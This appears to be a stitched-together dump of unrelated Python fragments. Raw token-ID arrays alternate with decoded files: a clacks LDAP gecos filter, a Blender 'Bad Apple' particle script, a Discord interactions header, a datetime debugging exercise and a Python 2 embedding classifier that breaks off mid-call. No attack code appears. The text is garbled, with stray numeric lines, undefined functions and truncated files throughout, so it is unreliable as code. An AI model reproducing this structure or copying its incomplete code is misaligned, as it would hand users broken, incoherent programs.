4299, 29877, 62, 10366, 654, 7, 10366, 654, 11, 629, 541, 88, 28, 25101, 11, 1635, 11, 2985, 28, 14202, 11, 3709, 28, 14202, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 38240, 257, 7955, 3084, 284, 257, 29877, 17593, 286, 10109, 13, 628, 220, 220, 220, 943, 14542, 25, 198, 220, 220, 220, 220, 220, 220, 220, 10109, 7, 79, 392, 292, 13, 6601, 19778, 2599, 257, 1366, 3084, 286, 357, 7220, 11, 2378, 11, 7955, 8, 1333, 2374, 13, 198, 220, 220, 220, 220, 220, 220, 220, 629, 541, 88, 7, 30388, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 611, 7559, 17821, 15506, 393, 7559, 6, 6359, 81, 6, 15506, 11, 1441, 257, 10286, 20519, 269, 27891, 17593, 2427, 286, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1058, 9078, 25, 4871, 25, 63, 7902, 49, 44646, 611, 7559, 6, 1073, 78, 6, 15506, 11, 1441, 257, 10286, 20519, 763, 78, 17593, 13, 198, 220, 220, 220, 220, 220, 220, 220, 2985, 7, 79, 392, 292, 13, 15732, 2599, 281, 6376, 286, 2836, 32373, 13, 198, 220, 220, 220, 220, 220, 220, 220, 3709, 7, 79, 392, 292, 13, 15732, 2599, 281, 6376, 286, 3709, 32373, 13, 628, 220, 220, 220, 16409, 25, 198, 220, 220, 220, 220, 220, 220, 220, 12028, 46912, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 257, 3706, 46545, 7268, 262, 29877, 17593, 11, 2836, 6376, 11, 290, 2378, 6376, 13, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 611, 2985, 318, 6045, 25, 198, 220, 220, 220, 220, 220, 220, 220, 2985, 796, 279, 67, 13, 15732, 7, 37659, 13, 34642, 7, 10366, 654, 13, 7220, 828, 1438, 11639, 7220, 11537, 628, 220, 220, 220, 611, 3709, 318, 6045, 25, 198, 220, 220, 220, 220, 220, 220, 220, 3709, 796, 279, 67, 13, 15732, 7, 37659, 13, 34642, 7, 10366, 654, 13, 9186, 828, 1438, 11639, 9186, 11537, 628, 220, 220, 220, 4808, 6404, 13, 24442, 10786, 20123, 278, 17593, 351, 4064, 67, 10109, 329, 4064, 67, 3709, 416, 4064, 67, 2985, 3256, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 18896, 7, 10366, 654, 828, 18896, 7, 23814, 828, 18896, 7, 18417, 4008, 628, 220, 220, 220, 5752, 62, 521, 796, 2985, 13, 1136, 62, 9630, 263, 7, 10366, 654, 13, 7220, 737, 459, 2981, 7, 37659, 13, 600, 66, 8, 198, 220, 220, 220, 611, 45941, 13, 1092, 7, 808, 62, 521, 1279, 657, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 5298, 11052, 12331, 10786, 41279, 2836, 6376, 857, 407, 3002, 477, 2985, 11537, 198, 220, 220, 220, 951, 62, 521, 796, 3709, 13, 1136, 62, 9630, 263, 7, 10366, 654, 13, 9186, 737, 459, 2981, 7, 37659, 13, 600, 66, 8, 198, 220, 220, 220, 611, 45941, 13, 1092, 7, 4033, 62, 521, 1279, 657, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 5298, 11052, 12331, 10786, 41279, 2378, 6376, 857, 407, 3002, 477, 2985, 11537, 628, 220, 220, 220, 611, 705, 8821, 6, 287, 10109, 13, 28665, 82, 25, 198, 220, 220, 220, 220, 220, 220, 220, 410, 874, 796, 45941, 13, 46115, 7, 10366, 654, 13, 8821, 13, 27160, 11, 45941, 13, 22468, 2414, 8, 198, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 410, 874, 796, 6045, 628, 220, 220, 220, 611, 629, 541, 88, 6624, 705, 1073, 78, 10354, 198, 220, 220, 220, 220, 220, 220, 220, 17593, 796, 599, 82, 13, 1073, 78, 62, 6759, 8609, 7, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 357, 12786, 11, 357, 808, 62, 521, 11, 951, 62, 521, 36911, 5485, 16193, 11925, 7, 18417, 828, 18896, 7, 23814, 4008, 198, 220, 220, 220, 220, 220, 220, 220, 1267, 198, 220, 220, 220, 2073, 25, 198, 220, 220, 220, 220, 220, 220, 220, 17593, 796, 9429, 49, 13, 6738, 62, 1073, 78, 7, 808, 62, 521, 11, 951, 62, 521, 11, 410, 874, 11, 357, 11925, 7, 18417, 828, 18896, 7, 23814, 22305, 198, 220, 220, 220, 220, 220, 220, 220, 611, 629, 541, 88, 25, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 17593, 796, 17593, 13, 1462, 62, 1416, 541, 88, 3419, 628, 220, 220, 220, 1441, 12028, 46912, 7, 6759, 8609, 11, 2985, 11, 3709, 8, 198 ]
2.467588
941
# This file is part of the clacks framework. # # http://clacks-project.org # # Copyright: # (C) 2010-2012 GONICUS GmbH, Germany, http://www.gonicus.de # # License: # GPL-2: http://www.gnu.org/licenses/gpl-2.0.html # # See the LICENSE file in the project's top-level directory for details. from clacks.agent.objects.filter import ElementFilter from clacks.agent.objects.backend.registry import ObjectBackendRegistry from clacks.common.error import ClacksErrorHandler as C from clacks.common.utils import N_ # Register the errors handled by us C.register_codes(dict( PARAMETER_NOT_NUMERIC=N_("Parameter for '%(target)s' have to be numeric"), BACKEND_TOO_MANY=N_("Too many backends for %(target)s specified"), POSIX_ID_POOL_EMPTY=N_("ID pool for attribute %(target)s is empty [> %(max)s]") )) class GenerateIDs(ElementFilter): """ Generate gid/uidNumbers on demand """ class LoadGecosState(ElementFilter): """ Detects the state of the autoGECOS attribute """ class GenerateGecos(ElementFilter): """ An object filter which automatically generates the posix-gecos entry. """ def process(self, obj, key, valDict): """ The out-filter that generates the new gecos value """ # Only generate gecos if the the autoGECOS field is True. if len(valDict["autoGECOS"]['value']) and (valDict["autoGECOS"]['value'][0]): gecos = GenerateGecos.generateGECOS(valDict) valDict["gecos"]['value'] = [gecos] return key, valDict @staticmethod def generateGECOS(valDict): """ This method genereates a new gecos value out of the given properties list. """ sn = "" givenName = "" ou = "" telephoneNumber = "" homePhone = "" if len(valDict["sn"]['value']) and (valDict["sn"]['value'][0]): sn = valDict["sn"]['value'][0] if len(valDict["givenName"]['value']) and (valDict["givenName"]['value'][0]): givenName = valDict["givenName"]['value'][0] if len(valDict["homePhone"]['value']) and (valDict["homePhone"]['value'][0]): homePhone = valDict["homePhone"]['value'][0] if len(valDict["telephoneNumber"]['value']) and (valDict["telephoneNumber"]['value'][0]): telephoneNumber = valDict["telephoneNumber"]['value'][0] if len(valDict["ou"]['value']) and (valDict["ou"]['value'][0]): ou = valDict["ou"]['value'][0] return "%s %s,%s,%s,%s" % (sn, givenName, ou, telephoneNumber, homePhone) class GetNextID(ElementFilter): """ An object filter which inserts the next free ID for the property given as parameter. But only if the current value is empty. =============== ======================= Name Description =============== ======================= attributeName The target attribute we want to generate an ID for. uidNumber/gidNumber maxValue The maximum value that would be dsitributed. =============== ======================= """
[ 2, 770, 2393, 318, 636, 286, 262, 537, 4595, 9355, 13, 198, 2, 198, 2, 220, 2638, 1378, 565, 4595, 12, 16302, 13, 2398, 198, 2, 198, 2, 15069, 25, 198, 2, 220, 357, 34, 8, 3050, 12, 6999, 402, 1340, 2149, 2937, 402, 2022, 39, 11, 4486, 11, 2638, 1378, 2503, 13, 70, 9229, 385, 13, 2934, 198, 2, 198, 2, 13789, 25, 198, 2, 220, 38644, 12, 17, 25, 2638, 1378, 2503, 13, 41791, 13, 2398, 14, 677, 4541, 14, 70, 489, 12, 17, 13, 15, 13, 6494, 198, 2, 198, 2, 4091, 262, 38559, 24290, 2393, 287, 262, 1628, 338, 1353, 12, 5715, 8619, 329, 3307, 13, 198, 198, 6738, 537, 4595, 13, 25781, 13, 48205, 13, 24455, 1330, 11703, 22417, 198, 6738, 537, 4595, 13, 25781, 13, 48205, 13, 1891, 437, 13, 2301, 4592, 1330, 9515, 7282, 437, 8081, 4592, 198, 6738, 537, 4595, 13, 11321, 13, 18224, 1330, 1012, 4595, 12331, 25060, 355, 327, 198, 6738, 537, 4595, 13, 11321, 13, 26791, 1330, 399, 62, 628, 198, 2, 17296, 262, 8563, 12118, 220, 416, 514, 198, 34, 13, 30238, 62, 40148, 7, 11600, 7, 198, 220, 220, 220, 29463, 2390, 2767, 1137, 62, 11929, 62, 41359, 1137, 2149, 28, 45, 62, 7203, 36301, 329, 705, 4, 7, 16793, 8, 82, 6, 423, 284, 307, 35575, 12340, 198, 220, 220, 220, 28767, 10619, 62, 51, 6684, 62, 10725, 56, 28, 45, 62, 7203, 23307, 867, 736, 2412, 329, 4064, 7, 16793, 8, 82, 7368, 12340, 198, 220, 220, 220, 28069, 10426, 62, 2389, 62, 16402, 3535, 62, 39494, 9936, 28, 45, 62, 7203, 2389, 5933, 329, 11688, 4064, 7, 16793, 8, 82, 318, 6565, 685, 29, 4064, 7, 9806, 8, 82, 60, 4943, 198, 4008, 628, 198, 198, 4871, 2980, 378, 47954, 7, 20180, 22417, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 2980, 378, 308, 312, 14, 27112, 49601, 319, 3512, 198, 220, 220, 220, 37227, 628, 198, 4871, 8778, 38, 721, 418, 9012, 7, 20180, 22417, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 35874, 82, 262, 1181, 286, 262, 8295, 38, 2943, 2640, 11688, 198, 220, 220, 220, 37227, 628, 198, 4871, 2980, 378, 38, 721, 418, 7, 20180, 22417, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 1052, 2134, 8106, 543, 6338, 18616, 262, 1426, 844, 12, 469, 6966, 198, 220, 220, 220, 5726, 13, 198, 220, 220, 220, 37227, 628, 220, 220, 220, 825, 1429, 7, 944, 11, 26181, 11, 1994, 11, 1188, 35, 713, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 383, 503, 12, 24455, 326, 18616, 262, 649, 308, 721, 418, 1988, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 1303, 5514, 7716, 308, 721, 418, 611, 262, 262, 8295, 38, 2943, 2640, 2214, 318, 6407, 13, 198, 220, 220, 220, 220, 220, 220, 220, 611, 18896, 7, 2100, 35, 713, 14692, 23736, 38, 2943, 2640, 1, 7131, 6, 8367, 6, 12962, 290, 357, 2100, 35, 713, 14692, 23736, 38, 2943, 2640, 1, 7131, 6, 8367, 6, 7131, 15, 60, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 308, 721, 418, 796, 2980, 378, 38, 721, 418, 13, 8612, 378, 38, 2943, 2640, 7, 2100, 35, 713, 8, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1188, 35, 713, 14692, 469, 6966, 1, 7131, 6, 8367, 20520, 796, 685, 469, 6966, 60, 628, 220, 220, 220, 220, 220, 220, 220, 1441, 1994, 11, 1188, 35, 713, 628, 220, 220, 220, 2488, 12708, 24396, 198, 220, 220, 220, 825, 7716, 38, 2943, 2640, 7, 2100, 35, 713, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 770, 2446, 2429, 567, 689, 257, 649, 308, 721, 418, 1988, 503, 286, 262, 1813, 6608, 1351, 13, 198, 220, 220, 220, 220, 220, 220, 220, 37227, 628, 220, 220, 220, 220, 220, 220, 220, 3013, 796, 13538, 198, 220, 220, 220, 220, 220, 220, 220, 1813, 5376, 796, 13538, 198, 220, 220, 220, 220, 220, 220, 220, 267, 84, 796, 13538, 198, 220, 220, 220, 220, 220, 220, 220, 11426, 15057, 796, 13538, 198, 220, 220, 220, 220, 220, 220, 220, 1363, 6132, 796, 13538, 628, 220, 220, 220, 220, 220, 220, 220, 611, 18896, 7, 2100, 35, 713, 14692, 16184, 1, 7131, 6, 8367, 6, 12962, 290, 357, 2100, 35, 713, 14692, 16184, 1, 7131, 6, 8367, 6, 7131, 15, 60, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 3013, 796, 1188, 35, 713, 14692, 16184, 1, 7131, 6, 8367, 6, 7131, 15, 60, 198, 220, 220, 220, 220, 220, 220, 220, 611, 18896, 7, 2100, 35, 713, 14692, 35569, 5376, 1, 7131, 6, 8367, 6, 12962, 290, 357, 2100, 35, 713, 14692, 35569, 5376, 1, 7131, 6, 8367, 6, 7131, 15, 60, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1813, 5376, 796, 1188, 35, 713, 14692, 35569, 5376, 1, 7131, 6, 8367, 6, 7131, 15, 60, 198, 220, 220, 220, 220, 220, 220, 220, 611, 18896, 7, 2100, 35, 713, 14692, 11195, 6132, 1, 7131, 6, 8367, 6, 12962, 290, 357, 2100, 35, 713, 14692, 11195, 6132, 1, 7131, 6, 8367, 6, 7131, 15, 60, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 1363, 6132, 796, 1188, 35, 713, 14692, 11195, 6132, 1, 7131, 6, 8367, 6, 7131, 15, 60, 198, 220, 220, 220, 220, 220, 220, 220, 611, 18896, 7, 2100, 35, 713, 14692, 46813, 4862, 15057, 1, 7131, 6, 8367, 6, 12962, 290, 357, 2100, 35, 713, 14692, 46813, 4862, 15057, 1, 7131, 6, 8367, 6, 7131, 15, 60, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 11426, 15057, 796, 1188, 35, 713, 14692, 46813, 4862, 15057, 1, 7131, 6, 8367, 6, 7131, 15, 60, 198, 220, 220, 220, 220, 220, 220, 220, 611, 18896, 7, 2100, 35, 713, 14692, 280, 1, 7131, 6, 8367, 6, 12962, 290, 357, 2100, 35, 713, 14692, 280, 1, 7131, 6, 8367, 6, 7131, 15, 60, 2599, 198, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 267, 84, 796, 1188, 35, 713, 14692, 280, 1, 7131, 6, 8367, 6, 7131, 15, 60, 628, 220, 220, 220, 220, 220, 220, 220, 1441, 36521, 82, 4064, 82, 11, 4, 82, 11, 4, 82, 11, 4, 82, 1, 4064, 357, 16184, 11, 1813, 5376, 11, 267, 84, 11, 11426, 15057, 11, 1363, 6132, 8, 628, 198, 4871, 3497, 10019, 2389, 7, 20180, 22417, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 1052, 2134, 8106, 543, 42220, 262, 1306, 1479, 4522, 329, 262, 3119, 198, 220, 220, 220, 1813, 355, 11507, 13, 887, 691, 611, 262, 1459, 1988, 318, 6565, 13, 628, 220, 220, 220, 796, 25609, 855, 36658, 50155, 198, 220, 220, 220, 6530, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 220, 12489, 198, 220, 220, 220, 796, 25609, 855, 36658, 50155, 198, 220, 220, 220, 11688, 5376, 220, 220, 383, 2496, 11688, 356, 765, 284, 7716, 281, 4522, 329, 13, 334, 312, 15057, 14, 70, 312, 15057, 198, 220, 220, 220, 3509, 11395, 220, 220, 220, 220, 220, 220, 220, 383, 5415, 1988, 326, 561, 307, 288, 48937, 6169, 13, 198, 220, 220, 220, 796, 25609, 855, 36658, 50155, 198, 220, 220, 220, 37227, 198 ]
2.462091
1,253
import bpy import numpy as np import glob # Global consts WIDTH = 160 HEIGHT = 120 PROJECT_PATH = "/PATH/TO/bad_apple_blender_cube" FRAME_COUNT = len(glob.glob(f'{PROJECT_PATH}/frames/*.jpg')) # Prepare particle system cube = bpy.data.objects["Cube"] degp = bpy.context.evaluated_depsgraph_get() particle_systems = cube.evaluated_get(degp).particle_systems particle_systems[0].settings.count = WIDTH * HEIGHT particle_systems[0].settings.lifetime = 99999 particle_systems[0].settings.frame_start = -1 particle_systems[0].settings.frame_end = 1 particle_systems[0].settings.emit_from = 'VOLUME' particle_systems[0].settings.physics_type = 'NO' particle_systems[0].settings.render_type = 'OBJECT' particle_systems[0].settings.instance_object = cube particle_systems[0].settings.particle_size = 1.0 # reset particle locations particles = particle_systems[0].particles total_particles = len(particles) flat_list = [0]*(3*total_particles) particles.foreach_set("location", flat_list) # load all locations into memory locations_arr = np.zeros(shape=(FRAME_COUNT, WIDTH*HEIGHT*3)) for i in range(FRAME_COUNT): temp_arr = np.load( f"{PROJECT_PATH}/locations/{i}.npy") locations_arr[i] = temp_arr def particles_location_setter(scene, degp): """ Set particle locations to a flat numpy array """ particle_systems = cube.evaluated_get(degp).particle_systems particles = particle_systems[0].particles current_frame = scene.frame_current particles.foreach_set("location", locations_arr[current_frame]) # clear the post frame handler bpy.app.handlers.frame_change_post.clear() # run the function on each frame bpy.app.handlers.frame_change_post.append(particles_location_setter)
[ 11748, 275, 9078, 198, 11748, 299, 32152, 355, 45941, 198, 11748, 15095, 198, 198, 2, 8060, 1500, 82, 198, 54, 2389, 4221, 796, 13454, 198, 13909, 9947, 796, 7982, 198, 31190, 23680, 62, 34219, 796, 12813, 34219, 14, 10468, 14, 14774, 62, 18040, 62, 2436, 2194, 62, 40296, 1, 198, 10913, 10067, 62, 34, 28270, 796, 18896, 7, 4743, 672, 13, 4743, 672, 7, 69, 6, 90, 31190, 23680, 62, 34219, 92, 14, 37805, 15211, 13, 9479, 6, 4008, 628, 198, 2, 43426, 18758, 1080, 198, 40296, 796, 275, 9078, 13, 7890, 13, 48205, 14692, 29071, 8973, 198, 13500, 79, 796, 275, 9078, 13, 22866, 13, 18206, 6605, 62, 10378, 82, 34960, 62, 1136, 3419, 198, 3911, 1548, 62, 10057, 82, 796, 23441, 13, 18206, 6605, 62, 1136, 7, 13500, 79, 737, 3911, 1548, 62, 10057, 82, 198, 198, 3911, 1548, 62, 10057, 82, 58, 15, 4083, 33692, 13, 9127, 796, 370, 2389, 4221, 1635, 11179, 9947, 198, 3911, 1548, 62, 10057, 82, 58, 15, 4083, 33692, 13, 36195, 8079, 796, 860, 24214, 198, 3911, 1548, 62, 10057, 82, 58, 15, 4083, 33692, 13, 14535, 62, 9688, 796, 532, 16, 198, 3911, 1548, 62, 10057, 82, 58, 15, 4083, 33692, 13, 14535, 62, 437, 796, 352, 198, 3911, 1548, 62, 10057, 82, 58, 15, 4083, 33692, 13, 368, 270, 62, 6738, 796, 705, 44558, 38340, 6, 198, 3911, 1548, 62, 10057, 82, 58, 15, 4083, 33692, 13, 746, 23154, 62, 4906, 796, 705, 15285, 6, 198, 3911, 1548, 62, 10057, 82, 58, 15, 4083, 33692, 13, 13287, 62, 4906, 796, 705, 9864, 23680, 6, 198, 3911, 1548, 62, 10057, 82, 58, 15, 4083, 33692, 13, 39098, 62, 15252, 796, 23441, 198, 3911, 1548, 62, 10057, 82, 58, 15, 4083, 33692, 13, 3911, 1548, 62, 7857, 796, 352, 13, 15, 198, 198, 2, 13259, 18758, 7064, 198, 3911, 2983, 796, 18758, 62, 10057, 82, 58, 15, 4083, 3911, 2983, 198, 23350, 62, 3911, 2983, 796, 18896, 7, 3911, 2983, 8, 198, 38568, 62, 4868, 796, 685, 15, 60, 9, 7, 18, 9, 23350, 62, 3911, 2983, 8, 198, 3911, 2983, 13, 754, 620, 62, 2617, 7203, 24886, 1600, 6228, 62, 4868, 8, 198, 198, 2, 3440, 477, 7064, 656, 4088, 198, 17946, 602, 62, 3258, 796, 45941, 13, 9107, 418, 7, 43358, 16193, 10913, 10067, 62, 34, 28270, 11, 370, 2389, 4221, 9, 13909, 9947, 9, 18, 4008, 198, 1640, 1312, 287, 2837, 7, 10913, 10067, 62, 34, 28270, 2599, 198, 220, 220, 220, 20218, 62, 3258, 796, 45941, 13, 2220, 7, 198, 220, 220, 220, 220, 220, 220, 220, 277, 1, 90, 31190, 23680, 62, 34219, 92, 14, 17946, 602, 14, 90, 72, 27422, 77, 9078, 4943, 198, 220, 220, 220, 7064, 62, 3258, 58, 72, 60, 796, 20218, 62, 3258, 628, 198, 4299, 13166, 62, 24886, 62, 2617, 353, 7, 29734, 11, 3396, 79, 2599, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 220, 220, 220, 220, 5345, 18758, 7064, 284, 257, 6228, 299, 32152, 7177, 198, 220, 220, 220, 37227, 198, 220, 220, 220, 18758, 62, 10057, 82, 796, 23441, 13, 18206, 6605, 62, 1136, 7, 13500, 79, 737, 3911, 1548, 62, 10057, 82, 198, 220, 220, 220, 13166, 796, 18758, 62, 10057, 82, 58, 15, 4083, 3911, 2983, 628, 220, 220, 220, 1459, 62, 14535, 796, 3715, 13, 14535, 62, 14421, 198, 220, 220, 220, 13166, 13, 754, 620, 62, 2617, 7203, 24886, 1600, 7064, 62, 3258, 58, 14421, 62, 14535, 12962, 628, 198, 2, 1598, 262, 1281, 5739, 21360, 198, 65, 9078, 13, 1324, 13, 4993, 8116, 13, 14535, 62, 3803, 62, 7353, 13, 20063, 3419, 198, 198, 2, 1057, 262, 2163, 319, 1123, 5739, 198, 65, 9078, 13, 1324, 13, 4993, 8116, 13, 14535, 62, 3803, 62, 7353, 13, 33295, 7, 3911, 2983, 62, 24886, 62, 2617, 353, 8, 198 ]
2.710692
636
#!/usr/bin/env python """ MIT License Original work Copyright (c) 2020 Ian Webster Modified work Copyright (c) 2020-2021 Linus Bartsch Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. """ from discord_interactions import InteractionType, InteractionCallbackType, verify_key from flask import request, jsonify from functools import wraps
[ 2, 48443, 14629, 14, 8800, 14, 24330, 21015, 198, 198, 37811, 198, 36393, 13789, 198, 198, 20556, 670, 15069, 357, 66, 8, 12131, 12930, 31890, 198, 5841, 1431, 670, 15069, 357, 66, 8, 12131, 12, 1238, 2481, 5164, 385, 347, 5889, 354, 198, 198, 5990, 3411, 318, 29376, 7520, 11, 1479, 286, 3877, 11, 284, 597, 1048, 16727, 257, 4866, 198, 1659, 428, 3788, 290, 3917, 10314, 3696, 357, 1169, 366, 25423, 12340, 284, 1730, 198, 259, 262, 10442, 1231, 17504, 11, 1390, 1231, 17385, 262, 2489, 198, 1462, 779, 11, 4866, 11, 13096, 11, 20121, 11, 7715, 11, 14983, 11, 850, 43085, 11, 290, 14, 273, 3677, 198, 22163, 444, 286, 262, 10442, 11, 290, 284, 8749, 6506, 284, 4150, 262, 10442, 318, 198, 69, 700, 1348, 284, 466, 523, 11, 2426, 284, 262, 1708, 3403, 25, 198, 198, 464, 2029, 6634, 4003, 290, 428, 7170, 4003, 2236, 307, 3017, 287, 477, 198, 22163, 444, 393, 8904, 16690, 286, 262, 10442, 13, 198, 198, 10970, 47466, 3180, 36592, 2389, 1961, 366, 1921, 3180, 1600, 42881, 34764, 56, 3963, 15529, 509, 12115, 11, 7788, 32761, 6375, 198, 3955, 49094, 11, 47783, 2751, 21728, 5626, 40880, 5390, 3336, 34764, 11015, 3963, 34482, 3398, 1565, 5603, 25382, 11, 198, 37, 46144, 7473, 317, 16652, 2149, 37232, 33079, 48933, 5357, 44521, 1268, 10913, 2751, 12529, 13, 3268, 8005, 49261, 50163, 3336, 198, 32, 24318, 20673, 6375, 27975, 38162, 9947, 367, 15173, 4877, 9348, 43031, 19146, 7473, 15529, 47666, 3955, 11, 29506, 25552, 6375, 25401, 198, 43, 3539, 25382, 11, 7655, 2767, 16879, 3268, 3537, 40282, 3963, 27342, 10659, 11, 309, 9863, 6375, 25401, 54, 24352, 11, 5923, 1797, 2751, 16034, 11, 198, 12425, 3963, 6375, 3268, 7102, 45, 24565, 13315, 3336, 47466, 6375, 3336, 23210, 6375, 25401, 5550, 1847, 20754, 3268, 3336, 198, 15821, 37485, 13, 198, 37811, 198, 198, 6738, 36446, 62, 3849, 4658, 1330, 4225, 2673, 6030, 11, 4225, 2673, 47258, 6030, 11, 11767, 62, 2539, 198, 6738, 42903, 1330, 2581, 11, 33918, 1958, 198, 6738, 1257, 310, 10141, 1330, 27521, 628 ]
3.859238
341
""" The datetime module supplies classes for manipulating dates and times, and contains many types, objects, and methods. You've seen some of them used in the dow function, which returns the day of the week for a specific date. We'll use them again in the next_date function, which takes the date_string parameter in the format of "year-month-day", and uses the add_year function to calculate the next year that this date will occur (it's 4 years later for the 29th of February during Leap Year, and 1 year later for all other dates). Then it returns the value in the same format as it receives the date: "year-month-day". Can you find the error in the code? Is it in the next_date function or the add_year function? How can you determine if the add_year function returns what it's supposed to? Add debug lines as necessary to find the problems, then fix the code to work as indicated above. """ import datetime from datetime import date today = date.today() # Get today's date print(next_date(str(today))) # Should return a year from today, unless today is Leap Day print(next_date("2021-01-01")) # Should return 2022-01-01 print(next_date("2020-02-29")) # Should return 2024-02-29
[ 37811, 198, 464, 4818, 8079, 8265, 9416, 6097, 329, 29349, 9667, 290, 1661, 11, 290, 4909, 867, 3858, 11, 5563, 11, 290, 5050, 13, 198, 1639, 1053, 1775, 617, 286, 606, 973, 287, 262, 47276, 2163, 11, 543, 5860, 262, 1110, 286, 262, 1285, 329, 257, 2176, 3128, 13, 775, 1183, 779, 606, 198, 17776, 287, 262, 1306, 62, 4475, 2163, 11, 543, 2753, 262, 3128, 62, 8841, 11507, 287, 262, 5794, 286, 366, 1941, 12, 8424, 12, 820, 1600, 290, 3544, 262, 751, 62, 1941, 2163, 198, 1462, 15284, 262, 1306, 614, 326, 428, 3128, 481, 3051, 357, 270, 338, 604, 812, 1568, 329, 262, 2808, 400, 286, 3945, 1141, 33927, 6280, 11, 290, 352, 614, 1568, 329, 477, 584, 9667, 737, 198, 3244, 340, 5860, 262, 1988, 287, 262, 976, 5794, 355, 340, 11583, 262, 3128, 25, 366, 1941, 12, 8424, 12, 820, 1911, 220, 220, 220, 198, 198, 6090, 345, 1064, 262, 4049, 287, 262, 2438, 30, 1148, 340, 287, 262, 1306, 62, 4475, 2163, 393, 262, 751, 62, 1941, 2163, 30, 198, 2437, 460, 345, 5004, 611, 262, 751, 62, 1941, 2163, 5860, 644, 340, 338, 4385, 284, 30, 3060, 14257, 3951, 355, 3306, 198, 284, 1064, 262, 2761, 11, 788, 4259, 262, 2438, 284, 670, 355, 8203, 2029, 13, 220, 198, 37811, 198, 198, 11748, 4818, 8079, 198, 6738, 4818, 8079, 1330, 3128, 198, 198, 40838, 796, 3128, 13, 40838, 3419, 220, 1303, 3497, 1909, 338, 3128, 198, 4798, 7, 19545, 62, 4475, 7, 2536, 7, 40838, 22305, 220, 198, 2, 10358, 1441, 257, 614, 422, 1909, 11, 4556, 1909, 318, 33927, 3596, 198, 198, 4798, 7, 19545, 62, 4475, 7203, 1238, 2481, 12, 486, 12, 486, 48774, 1303, 10358, 1441, 33160, 12, 486, 12, 486, 198, 4798, 7, 19545, 62, 4475, 7203, 42334, 12, 2999, 12, 1959, 48774, 1303, 10358, 1441, 48609, 12, 2999, 12, 1959, 198 ]
3.817891
313
from __future__ import division import json import numpy as np import matplotlib.pyplot as plt import time import random from sklearn.linear_model import LogisticRegressionCV from sklearn.ensemble import RandomForestClassifier as RFC import pandas as pd import operator from sklearn.metrics import roc_curve, precision_recall_curve, precision_recall_fscore_support print 'IMPORTANT: experiment can be modified by changing parameter combinations in main function!' print 'loading data...' part1_pos_10 = json.loads(open("new_dedup_part1_pos_10.json").read()) # 1552 part1_pos_200 = json.loads(open("new_dedup_part1_pos_200_embed.json").read()) part1_pos_walk_200 = json.loads(open("new_dedup_part1_pos_200_walk.json").read()) part2_pos_10 = json.loads(open("new_dedup_part2_pos_10.json").read()) # 24251 part2_pos_200 = json.loads(open("new_dedup_part2_pos_200_embed.json").read()) part2_pos_walk_200 = json.loads(open("new_dedup_part2_pos_200_walk.json").read()) part3_pos_10 = json.loads(open("new_dedup_part3_pos_10.json").read()) # 1353 part3_pos_200 = json.loads(open("new_dedup_part3_pos_200_embed.json").read()) part3_pos_walk_200 = json.loads(open("new_dedup_part3_pos_200_walk.json").read()) part4_pos_10 = json.loads(open("new_dedup_part4_pos_10.json").read()) # 3399 part4_pos_200 = json.loads(open("new_dedup_part4_pos_200_embed.json").read()) part4_pos_walk_200 = json.loads(open("new_dedup_part4_pos_200_walk.json").read()) part5_pos_10 = json.loads(open("new_dedup_part5_pos_10.json").read()) # 11692 part5_pos_200 = json.loads(open("new_dedup_part5_pos_200_embed.json").read()) part5_pos_walk_200 = json.loads(open("new_dedup_part5_pos_200_walk.json").read()) global_pos_10 = json.loads(open("new_dedup_global_pos_10.json").read()) # 1552 global_pos_200 = json.loads(open("new_dedup_global_pos_200_embed.json").read()) global_pos_walk_200 = json.loads(open("new_dedup_global_pos_200_walk.json").read()) global_neg_10 = json.loads(open("new_dedup_global_neg_10.json").read()) # 1552 global_neg_200 = json.loads(open("new_dedup_global_neg_200_embed.json").read()) global_neg_walk_200 = json.loads(open("new_dedup_global_neg_200_walk.json").read()) # combinations of each partition # 901 part1_pos_10_walk = combineData(source1_pos=part1_pos_10, 